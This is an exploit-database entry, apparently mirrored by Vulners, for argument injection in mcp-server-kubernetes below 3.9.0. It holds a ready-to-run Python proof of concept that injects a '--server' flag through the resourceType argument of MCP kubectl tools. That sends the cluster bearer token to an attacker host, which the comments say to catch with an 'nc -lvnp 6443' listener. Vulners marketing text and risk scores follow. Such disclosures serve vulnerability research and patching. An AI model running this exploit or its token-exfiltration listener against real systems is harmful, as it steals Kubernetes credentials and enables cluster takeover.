Lucene search
+L

mcp-server-kubernetes 3.8.x - Argument Injection

🗓️ 11 Aug 2026 00:00:00Reported by banyamerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 9 Views

Argument injection in mcp-server-kubernetes <3.9.0 via resourceType/name parameters allowing --server flag injection and bearer token exfiltration.

Related
Code
#!/usr/bin/env python3
# Exploit Title:        mcp-server-kubernetes 3.8.x - Argument Injection
# CVE:                  CVE-2026-61459
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://github.com/Flux159/mcp-server-kubernetes
# Software Link:        https://github.com/Flux159/mcp-server-kubernetes
# Affected:             mcp-server-kubernetes < 3.9.0
# Tested on:            mcp-server-kubernetes <= 3.8.x
# Category:             Remote
# Platform:             Linux
# Exploit Type:         Argument Injection
# CVSS:                 9.3
# Description:          Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.
# Fixed in:             3.9.0
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443
#
# Options:
#   --target     MCP Server URL (JSON-RPC endpoint)
#   --attacker   Attacker-controlled Kubernetes API server URL
#
# Notes:
#   • Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)
#   • Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token
#
# How to Use
#
# Step 1:
#   Start listener: nc -lvnp 6443
#
# Step 2:
#   Run exploit with attacker URL

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

import requests
import json
import argparse
import sys

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection")
    parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)")
    parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)")
    parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit")
    parser.add_argument("--namespace", default="default", help="Kubernetes namespace")
    args = parser.parse_args()

    # Malicious payload - inject --server via resourceType
    payload = {
        "jsonrpc": "2.0",
        "method": "tools/call",
        "params": {
            "name": args.tool,
            "arguments": {
                "resourceType": f"--server={args.attacker}",
                "name": "dummy-pod",
                "namespace": args.namespace,
                "output": "json"
            }
        },
        "id": 1
    }

    print(f"[+] Sending exploit to {args.target} using {args.tool}")
    print(f"[+] Attacker server: {args.attacker}")
    print("[+] Waiting for token exfiltration...")

    try:
        response = requests.post(
            args.target,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10
        )

        print(f"[+] Response status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Exploit sent successfully. Check your listener for the bearer token!")
        else:
            print(f"[-] Unexpected response: {response.text[:500]}")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>")
        sys.exit(1)
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 49.3
CVSS 3.19.8
EPSS0.01516
SSVC
9